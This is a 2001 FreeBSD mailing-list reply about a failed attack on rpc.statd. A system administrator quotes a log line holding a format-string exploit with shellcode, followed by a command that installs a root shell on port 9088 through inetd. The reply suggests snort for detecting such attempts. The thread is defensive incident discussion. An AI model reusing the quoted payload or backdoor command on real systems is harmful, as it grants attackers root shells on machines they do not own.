Date: Thu, 4 Jan 2001 09:26:00 -0600 (CST) From: Guy Helmer <ghelmer@palisadesys.com> To: Eric_Stanfield@kenokozie.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: hack attempt (again) - help Message-ID: <Pine.LNX.4.21.0101040919451.10523-100000@magellan.palisadesys.com> In-Reply-To: <OF4CA83D7A.DC3A3B98-ON862569CA.00526722@kka.com>
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On Thu, 4 Jan 2001 Eric_Stanfield@kenokozie.com wrote: > Alright this jerkoff has once again attempted to hack one of my freebsd > machines by trying what I assume is a buffer overflow to rpc: > > Jan 3 23:19:23 mrtg rpc.statd: Invalid hostname to sm_mon: > ^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿%08x %08x %08x %08x %08x %08x %08x > %08x %08x %08x %08x %08x %08x %08x > %0242x%n%055x%n%012x%n%0192x%nM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PëK^M- > > v¬M-^Cî M-^M^(M-^CÆ M- ^°M-^Cî M-^M^.M-^CÆ M-^Cà M-^Cë#M- ^´1ÀM-^Cî > M-^HF'M-^HF*M-^CÆ M-^HF«M- F¸°+, M- óM-^MN¬M-^MV¸ÍM-^@1ÛM- > Ø@ÍM-^@è°ÿÿÿ/bin/sh -c echo "9088 stream tcp nowait root /bin/sh -i" >> > /tmp/m; /usr/sbin/inetd /tmp/m; > > The interesting bit is what he (she?) is attempting to sneak in at the end > of the garbage sent to the port. > > I've given the system a thorough check and this seems to have been a second > failed attempt. I'm now annoyed, however, and would like to be able to at > least log what address this stuff is originating from. Can anyone suggest > something from the ports that would do the trick? I've disabled nfs/rpc > but I'm sure the hacker will come knocking again. snort with a current copy of the rule set from http://www.whitehats.com/ids/index.html ought to detect this (and lots of other script kiddie attempts). Guy -- Guy Helmer, Ph.D. Sr. Software Engineer, Palisade Systems --- ghelmer@palisadesys.com http://www.palisadesys.com/~ghelmer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message
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